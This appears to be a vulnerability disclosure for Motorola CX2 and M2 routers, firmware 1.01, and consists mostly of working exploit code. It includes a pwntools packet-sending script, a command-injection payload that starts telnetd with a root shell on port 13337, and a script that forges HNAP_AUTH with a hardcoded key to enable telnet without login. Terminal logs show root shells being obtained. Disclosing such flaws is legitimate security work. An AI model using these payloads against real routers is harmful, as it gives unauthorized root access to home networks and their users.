

# Motorola routers

## Description

<http://www.soplar.cn/moluyou.html>

## Version

CX2: 1.01

M2: 1.01

## download link

Motorola CX2 (Refer: <http://www.soplar.cn/moluyou.html>)

Motorola M2 (Refer: <http://www.soplar.cn/moluyou.html>)

## Others

this bug is reported by [pwd&zshly@360TeamSerious](#).

please send email to [teamSerious360@gmail.com](mailto:teamSerious360@gmail.com) if you have any questions.

python script that payloads used

```
from pwn import *
import binascii
import struct

def sendp(content):
    r = remote("192.168.51.1",8010)
    #00 01 00 5a 00 00 00 00 00 00 00 3a
    data = '\x00\x01\x00\x5a' + p32(0) + struct.pack(">I",len(content) + 4)
    data += content
    #crc
    crc32 = binascii.crc32(content) & 0xffffffff
    data += struct.pack(">I",crc32)
    l = r.send(data)
    print r.recv(1024)
    r.close()
```

## — getTerminalList



```
zsh1y@CTF:~/IoT/moto$ telnet 192.168.51.1 8090
Trying 192.168.51.1...
Connected to 192.168.51.1.
Escape character is '^]'.

BusyBox v1.22.1 (2017-04-01 17:26:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/etc/config #
```

## 二 startRmtAssist

### description

An issue was discovered in CX2 1.01 and M2 1.01, There is a command injection in Function 'startRmtAssist' in hnap, which leads to rce.

### reproduce

command injection,payload

```
sendp({'header':{'cmd':"startRmtAssist","code":-1,"msgId":"20"}, "body":
{"ip":"192.168.51.1","port":"23333","tunnelPort":"6666","userName":"zsh1y","passwd":"$(telnetd -l /bin/ash -p 13337)"}'})
```

```
zsh1y@CTF:~/IoT/moto$ telnet 192.168.51.1 13337
Trying 192.168.51.1...
Connected to 192.168.51.1.
Escape character is '^]'.

BusyBox v1.22.1 (2017-04-01 17:26:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/etc/config #
```

## 四 telnet backdoor

### description

An issue was discovered in CX2 1.01 and M2 1.01, users can access router's web page "http://192.168.51.1/priv\_mgt.html" to launch telnetd.

script:

```
import time
import requests
import hmac
import hashlib

def hex_hmac_md5(key, cur_time, URI):
    res = hmac.new(key, cur_time + URI, hashlib.md5).hexdigest()
    return res

current_time = int(time.time() * 1000) % 2000000000000
URI = '"http://purenetworks.com/HNAP1/SetTelnetSettings"'
headers = {'HNAP_AUTH': hex_hmac_md5("withoutloginkey", str(current_time), URI) + ' ' + str(current_time)}
headers['SOAPACTION'] = URI
data = '{"SetTelnetSettings":{"telnet_enabled":"1"}}'
r = requests.post("http://192.168.51.1:80/HNAP1/", headers = headers, data = data)
print r.json()
```

```
zsh1y@CTF:~/IoT/moto$ telnet 192.168.51.1
Trying 192.168.51.1...
Connected to 192.168.51.1.
Escape character is '^]'.
WARNING: telnet is a security risk
OpenWrt login: root
Password:

BusyBox v1.22.1 (2017-04-01 17:26:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
```